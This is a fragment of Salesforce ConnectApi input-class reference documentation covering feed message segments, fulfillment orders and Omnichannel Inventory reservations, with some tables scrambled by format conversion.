<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>ID of a file that has already been uploaded.</td>
<td>Required</td>
<td>36.0</td>
</tr>
<tr>
<td>operationType</td>
<td>ConnectApi.OperationType</td>
<td>Operation to carry out on the file. Values are:</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Add—Adds the file to the feed element.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Remove—Removes the file from the feed element.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Remove operations are processed before Add operations. Adding content that is already added and removing content that is already removed result in no operation.

---

**ConnectApi.FindRoutesWithFewestSplitsInputRepresentation**

Data used to calculate order fulfillment routes involving the fewest number of shipment splits.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>InventoryLocationAvailabilityInputRepresentation</td>

### Available Version

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>maxNumberOfSplits</td>
<td>Integer</td>
<td>The maximum allowable number of shipment splits. Routing options that involve more than this number of splits are not returned.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Note:</strong> Each split represents an additional shipment. Specifying a maximum of 0 returns only locations that can fulfill the entire order in a single shipment. A maximum of 1 returns combinations of locations that can fulfill the order in one or two shipments, and so on.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>orderedQuantities</td>
<td>List</td>
<td>Each list element represents a quantity of a product to be routed for fulfillment.</td>
<td>At least one element is required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.FilesCapabilityInput

Attach up to 10 files that have already been uploaded or remove one or more files from a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.FileIdInput&gt;</td>

<td>36.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

`ConnectApi.FeedElementCapabilitiesInput`

#### ConnectApi.FulfillmentGroupInputRepresentation

A list of OrderItemSummaries to be fulfilled together, and the fulfillment location to handle them. The fulfillment type is one of the values defined for the Type field on the FulfillmentOrder object, such as "Warehouse" or "Retail Store." The specified type is assigned to the FulfillmentOrder for this fulfillment group.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfilledFromLocationId</td>
<td>String</td>
<td>ID of the fulfillment location.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>fulfillmentType</td>
<td>String</td>
<td>Fulfillment type. One of the Type field values defined for FulfillmentOrders.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>
### ConnectApi.FulfillmentOrderInputRepresentation

An OrderDeliveryGroupSummary that defines a delivery method and recipient, and a list of fulfillment groups to assign to FulfillmentOrders. Each fulfillment group is a set of OrderItemSummaries that match the OrderDeliveryGroupSummary and share the same fulfillment location. The method creates a FulfillmentOrder for each fulfillment group and a FulfillmentOrderLineItem for each OrderItemSummary.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentGroups</td>
<td>List&lt;ConnectApi.FulfillmentGroupInputRepresentation&gt;</td>
<td>List of fulfillment groups that specify the OrderItemSummaries and fulfillment locations.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>orderDeliveryGroupSummaryId</td>
<td>String</td>
<td>ID of the OrderDeliveryGroupSummary.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>orderSummaryId</td>
<td>String</td>
<td>ID of the OrderSummary.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- createFulfillmentOrders(fulfillmentOrderInput)

### ConnectApi.FulfillmentOrderInvoiceInputRepresentation

Instantiate and include this object with no properties when creating an invoice. This input class has no properties.

**SEE ALSO:**
- createInvoice(fulfillmentOrderId, invoiceInput)
ConnectApi.FulfillmentOrderLineItemInputRepresentation

A FulfillmentOrderLineItem and quantity to cancel. You can cancel less than the full quantity, in which case you reallocate the canceled quantity to a different FulfillmentOrder.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentOrderLineItemId</td>
<td>String</td>
<td>ID of the FulfillmentOrderLineItem.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>Quantity to cancel.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.FulfillmentOrderLineItemsToCancelInputRepresentation

cancelFulfillmentOrderLineItems(fulfillmentOrderId, cancelFulfillmentOrderLineItemsInput)

ConnectApi.FulfillmentOrderLineItemsToCancelInputRepresentation

A list of FulfillmentOrderLineItems and quantities to cancel.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentOrderLineItemsToCancel</td>
<td>List&lt;ConnectApi.FulfillmentOrderLineItemInputRepresentation&gt;</td>

</tr>
<tr>
<td>title</td>
<td><code>String</code></td>
<td>The title of the “Information” section of a group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.HashtagSegmentInput**

Include a hashtag in a feed item or comment.

Subclass of `ConnectApi.MessageSegmentInput`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>tag</td>
<td><code>String</code></td>
<td>Text of the hash tag without the # (hash tag) prefix</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**Note:** Closing square brackets `[]` are not supported in hash tag text. If the text contains a closing square bracket `[]`, the hash tag ends at the bracket.

**ConnectApi.InlineImageSegmentInput**

An inline image segment.

Subclass of `ConnectApi.MessageSegmentInput`

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>altText</td>
<td><code>String</code></td>
<td>Alt text for the inline image.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
</tbody>
</table>

If not specified, the title of the inline
**ConnectApi.InvitelInput**

An invitation.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>invitees</td>
<td>List&lt;String&gt;</td>
<td>List of email addresses to send the invitation to.</td>
<td>Required</td>
<td>39.0</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>Message to include in the invitation.</td>
<td>Optional</td>
<td>39.0</td>
</tr>
</tbody>
</table>

**ConnectApi.LinkCapabilityInput**

Create or update a link on a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>Link URL. The URL can be to an external site.</td>
<td>Required</td>
<td>32.0</td>
</tr>
<tr>
<td>urlName</td>
<td>String</td>
<td>Description of the link.</td>
<td>Optional</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.LinkSegmentInput**

Include a link segment in a feed item or comment.

Subclass of `ConnectApi.MessageSegmentInput`
### ConnectApi.MessageBodyInput

Inventory location data used to calculate shipping distance.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>URL to be used for the link</td>
<td></td>
<td>28.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

*ConnectApi.MessageBodyInput*

### ConnectApi.LocationInputRepresentation

The available quantity of a product at an inventory location.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>countryCode</td>
<td>String</td>
<td>The country code of the location.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The identifier of the location.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>postalCode</td>
<td>String</td>
<td>The postal code of the location.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LocationAvailabilityInputRepresentation

The available quantity of a product at an inventory location.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>externalReferenceId</td>
<td>String</td>
<td>The external reference ID of the inventory location.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The available quantity of the product.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The Stock Keeping Unit of the product.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ManagedTopicPositionCollectionInput

A collection of relative positions of managed topics.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>managedTopicPositions</td>
<td>List&lt;ConnectApi.ManagedTopicPositionInput&gt;</td>
<td>List of relative positions of managed topics. This list can include Featured and Navigational managed topics and doesn't need to include all managed topics. For more information about reordering managed topics, see the example in reorderManagedTopics(communityId, managedTopicPositionCollection).</td>
<td>Required</td>
<td>32.0</td>
</tr>
</tbody>
</table>

2057
ConnectApi.ManagedTopicPositionInput

Relative position of a managed topic.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>managedTopicId</td>
<td>String</td>
<td>ID of existing managed topic.</td>
<td>Required</td>
<td>32.0</td>
</tr>
<tr>
<td>position</td>
<td>Integer</td>
<td>Relative position of the managed topic, indicated by zero-indexed, ascending whole numbers.</td>
<td>Required</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.ManagedTopicPositionCollectionInput

ConnectApi.MarkupBeginSegmentInput

The beginning tag for rich text markup.
Subclass of ConnectApi.MessageSegmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>altText</td>
<td>String</td>
<td>Alternative text for the Hyperlink segment.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>markupType</td>
<td>ConnectApi.MarkupType</td>
<td>Type of rich text markup.</td>
<td>Required</td>
<td>35.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Bold—Bold tag.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Hyperlink—Hyperlink anchor tag.</td>
<td></td>
<td></td>

<tr>
<td></td>
<td></td>
<td>- Underline—Underline tag.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- UnorderedList—Unordered list tag.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Markup segments with a markupType of Code can include only text segments.
Available Version | Required or Optional | Description
--- | --- | ---
45.0 | Required for Hyperlink | URL for the Hyperlink segment. Supported hyperlink URLs start with `http://` or `https://`.

SEE ALSO:
- Post a Rich-Text Feed Element with Inline Image
- ConnectApi.MessageBodyInput

**ConnectApi.MarkupEndSegmentInput**

The end tag for rich text markup.

Subclass of ConnectApi.MessageSegmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>markupType</td>
<td>ConnectApi.MarkupType</td>
<td>Type of rich text markup.</td>

- ConnectApi.MessageBodyInput

**ConnectApi.MentionSegmentInput**

Include an @mention of a user or group in a feed post or comment. When creating a feed post or comment, you can include up to 25 mentions.

Subclass of ConnectApi.MessageSegmentInput
### Available Version Description Type Property

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>id</code></td>
<td>String</td>
<td>ID of the user or group to mention. To mention a user, use either <code>id</code> or <code>username</code>. You can't include both. To mention a group, you must use <code>id</code>.</td>
<td>28.0</td>
</tr>
<tr>
<td><code>username</code></td>
<td>String</td>
<td>User name of the user to mention. To mention a user, use either <code>id</code> or <code>username</code>. You can't include both.</td>
<td>38.0</td>
</tr>
</tbody>
</table>

SEE ALSO: [ConnectApi.MessageBodyInput](#)

### ConnectApi.MessageBodyInput

Add rich messages to feed items and comments.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>messageSegments</code></td>
<td>List&lt;&lt;ConnectApi.MessageSegmentInput&gt;</td>
<td>List of message segments contained in the body</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

[ConnectApi.MessageSegmentInput](#)

### ConnectApi.MessageSegmentInput

Used to add rich message segments to feed items and comments.

This class is abstract and has no public constructor. You can make an instance only of a subclass.

Superclass for:
- [ConnectApi.EntityLinkSegmentInput](#)  
- [ConnectApi.HashtagSegmentInput](#)  
- [ConnectApi.InlineImageSegmentInput](#)  
- [ConnectApi.LinkSegmentInput](#)  
- [ConnectApi.MarkupBeginSegmentInput](#)  
- [ConnectApi.MarkupEndSegmentInput](#)  
- [ConnectApi.MentionSegmentInput](#)  
- [ConnectApi.TextSegmentInput](#)
Use the `ConnectApiHelper` repository on GitHub to simplify many of the tasks accomplished with `ConnectApi.MessageSegmentInput`, such as posting with inline images, rich text, and mentions.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| type | `ConnectApi.MessageSegmentType` | The type of message segment. Values are:
  - EntityLink
  - FieldChange
  - FieldChangeName
  - FieldChangeValue
  - Hashtag
  - InlineImage
  - Link
  - MarkupBegin
  - MarkupEnd
  - Mention
  - MoreChanges
  - ResourceLink
  - Text | Required | 23.0 |

SEE ALSO:

### `ConnectApi.MultipleFulfillmentOrderInputRepresentation`

List of inputs for creating fulfillment orders.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentOrders</td>
<td><code>ConnectApi.FulfillmentOrderInputRepresentation</code></td>
<td>Each element contains the data to create one fulfillment order.</td>
<td>Required</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### `ConnectApi.MuteCapabilityInput`

Mute or unmute a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`. 
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isMutedByMe</td>
<td>Boolean</td>
<td>Indicates whether the feed element is muted for the context user. Default value is false.</td>
<td>Required</td>
<td>35.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

setIsMutedByMe(communityId, feedElementId, isMutedByMe)

**ConnectApi.NBASTrategyInput**

A recommendation strategy.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>contextRecordId</td>
<td>String</td>
<td>ID of the context record. For example, if the next best action is on a case detail page, the ID of the case.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>maxResults</td>
<td>Integer</td>
<td>Maximum number of results. Valid values are from 1 to 25. The default is 3.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>strategyContext</td>
<td>Map&lt;String, String&gt;</td>
<td>Variable and value mappings for the strategy.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>debugTrace</td>
<td>Boolean</td>
<td>Specifies whether to return trace and debug information in the response (true) or not (false). If unspecified, the default is false.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
</tbody>
</table>

**ConnectApi.NewUserAudienceCriteriaInput**

Criteria for the new members type of custom recommendation audience.

Subclass of ConnectApi.AudienceCriteriaInput.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>value</td>
<td>Double</td>
<td>The maximum number of days since a user became a site member. For example, if you specify 30, anyone who became a site member in the last 30 days is included in the new members audience.</td>
<td>Required</td>
<td>36.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCICreateReservationInputRepresentation**

Data to reserve inventory at one or more Omnichannel Inventory locations or location groups.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionRequestId</td>
<td>String</td>
<td>A UUID that identifies the request. Use the action request IDs in response data to identify which requests succeeded or failed.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>allowPartialReservations</td>
<td>Boolean</td>
<td>When true, if the system can’t create the entire reservation, then it attempts to create a partial reservation.</td>
<td></td>
<td>51.0</td>
</tr>
<tr>
<td>createRecords</td>
<td>List</td>
<td>A list of product quantities and locations or location groups.</td>
<td>At least one element is required</td>
<td>51.0</td>
</tr>
<tr>
<td>expirationSeconds</td>
<td>Integer</td>
<td>A length of time in seconds. If the reservation is not fulfilled within this amount of time after the reservationTime, then it expires.</td>
<td></td>
<td>51.0</td>
</tr>
<tr>
<td>externalRefId</td>
<td>String</td>
<td>External reference ID.</td>
<td></td>
<td>51.0</td>
</tr>
<tr>
<td>reservationTime</td>
<td>String</td>
<td>The time at which to record the reservation. Example: 2020-07-24T21:13:00Z</td>
<td></td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCICreateReservationSingleInputRepresentation**

A quantity of a product and an Omnichannel Inventory location or location group at which to reserve it.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>locationGroupIdentifier</td>
<td>String</td>
<td>Identifier of the location group at which to reserve inventory.</td>
<td>Either locationGroupIdentifier or locationIdentifier is required, but not both</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>Identifier of the location at which to reserve inventory.</td>
<td>Either locationGroupIdentifier or locationIdentifier is required, but not both</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The quantity of the product to reserve.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the product to reserve.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCIFulfillReservationInputRepresentation**

A list of inventory reservations to fulfill.
### ConnectApi.OCIFillReservationSingleInputRepresentation

An inventory reservation to fulfill.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fulfillmentRecords</td>
<td>String</td>
<td>A list of inventory reservations.</td>
<td>At least one element is required.</td>
<td>51.0</td>
</tr>
<tr>
<td>actionRequestId</td>
<td>String</td>
<td>A UUID that identifies the request. Use the action request IDs in response data to identify which requests succeeded or failed.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>externalRefId</td>
<td>String</td>
<td>The external reference ID of the location that’s fulfilling the reservation.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The identifier of the location that’s fulfilling the reservation.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The quantity being fulfilled.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the product being fulfilled.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCIGetInventoryAvailabilityInputRepresentation

Details of a request to retrieve inventory availability.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>locationGroupIdentifier</td>
<td>String</td>
<td>The identifier of a location group to retrieve inventory availability data for. Specifying this value retrieves inventory data for all locations belonging to this group.</td>
<td>Optional; can’t combine with locationGroupIdentifiers or locationIdentifiers</td>
<td>51.0</td>
</tr>
<tr>
<td>locationGroupIdentifiers</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 100 identifiers of location groups to retrieve inventory availability data for.</td>
<td>Optional; can’t combine with locationGroupIdentifier or locationIdentifiers</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifiers</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 100 identifiers of locations to retrieve inventory availability data for.</td>
<td>Optional; can’t combine with locationGroupIdentifier or locationGroupIdentifiers</td>
<td>51.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------------</td>
<td>------------</td>
<td>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of a product to retrieve inventory availability data for. Specifying a SKU with no locations or location groups returns availability data for that SKU at all inventory locations that are not assigned to location groups.</td>
<td>Optional; can't combine with stockKeepingUnits</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnits</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 100 SKUs of products to retrieve inventory availability data for.</td>
<td>Optional; can't combine with stockKeepingUnits</td>
<td>51.0</td>
</tr>
<tr>
<td>useCache</td>
<td>Boolean</td>
<td>Whether to fetch the inventory data from the cache. Default value is true.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCIReleaseReservationInputRepresentation**

Details of one or more inventory reservations to release.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>releaseRecords</td>
<td>ConnectApi.OCIReleaseReservationSingleInputRepresentation</td>
<td>List of inventory reservations to release.</td>
<td>At least one element is required.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCIReleaseReservationSingleInputRepresentation**

A single inventory reservation to release.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionRequestId</td>
<td>String</td>
<td>A UUID that identifies the request. Use the action request IDs in response data to identify which requests succeeded or failed.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>externalRefId</td>
<td>String</td>
<td>The external reference ID of the location or location group that has the reservation.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>locationGroupId</td>
<td>String</td>
<td>The identifier of the location group that has the reservation.</td>
<td>The identifier for a location or location group, but not both, is required.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The identifier of the location that has the reservation.</td>
<td>The identifier for a location or location group, but not both, is required.</td>
<td>51.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>---------------------------</td>
<td>----------</td>
<td>------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The quantity of reserved inventory to release.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the product to release.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCITransferReservationInputRepresentation**

A list of inventory reservation transfers and specifies whether a single failure cancels the entire list.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>allOrNothingTransferId</td>
<td>String</td>
<td>Controls whether a single failed transfer cancels all other transfers in the transferRecords list.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• To allow some transfers in the transferRecords list to succeed when others fail, don’t include this property.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• To cancel all the transfers in the transferRecords list when any of them fail, set this property to a UUID. The ID must be unique, but isn’t otherwise used in this version.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**transferRecords**

A list of inventory reservation transfers. At least one element is required.

**ConnectApi.OCITransferReservationSingleInputRepresentation**

An inventory reservation transfer.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionRequestId</td>
<td>String</td>
<td>A UUID that identifies the request. Use the action request IDs in response data to identify which requests succeeded or failed.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>externalRefId</td>
<td>String</td>
<td>The external reference ID of the location receiving the transfer.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>fromLocationGroupIdentifier</td>
<td>String</td>
<td>The identifier of the location group sending the reservation.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>The identifier for a sending location or location group, but not both, is required.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fromLocationIdentifier</td>
<td>String</td>
<td>The identifier of the location sending the reservation.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The quantity of inventory being transferred.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the product being transferred.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>toLocationIdentifier</td>
<td>String</td>
<td>The identifier of the location group receiving the reservation.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.OrderItemSummaryInputRepresentation

An OrderItemSummary and quantity.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>orderItemSummaryId</td>
<td>String</td>
<td>ID of the OrderItemSummary.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>Quantity to include.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.FulfillmentGroupInputRepresentation
- ConnectApi.FulfillmentOrderInputRepresentation
- createFulfillmentOrders(fulfillmentOrderInput)

#### ConnectApi.OrderSummaryInputRepresentation

An order from which to create an OrderSummary, and whether it is managed in Salesforce Order Management. Optionally, you can specify an OrderNumber or Status.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>Specifies an OrderNumber to assign to the order summary.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>orderId</td>
<td>String</td>
<td>ID of the original order.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>
Available Version | Required or Optional | Description | Property | Type |
--- | --- | --- | --- | --- | --- |
49.0 | Optional | Specifies whether the order is managed in Salesforce Order Management or by an external system. It can have one of these values: | orderLifeCycleType | String | • MANAGED—Managed in Salesforce Order Management. • UNMANAGED—Managed by an external system. If no value is specified, the default is MANAGED. |
50.0 | Optional | Specifies a status to assign to the order summary. The value must match one of the picklist values on the Status field of the OrderSummary object. | status | String | SEE ALSO: createOrderSummary(orderSummaryInput) |
| 50.0 | Optional | Specifies whether Salesforce needs to create a payment group (true) or not (false). | createPaymentGroup | Boolean | ConnectApi.PaymentGroupRequest |
| 50.0 | Optional | Three-letter ISO 4217 currency code associated with the payment group record. | currencyIsoCode | String | |
| 50.0 | Optional | ID of the payment group record. | id | String | |
| 50.0 | Optional | Source object ID of the payment group record. Supports only OrderId. | sourceObjectId | String | |

ConnectApi.PhotoInput
Specify how to crop a photo that has already been uploaded.

<table>
<thead>
<tr>
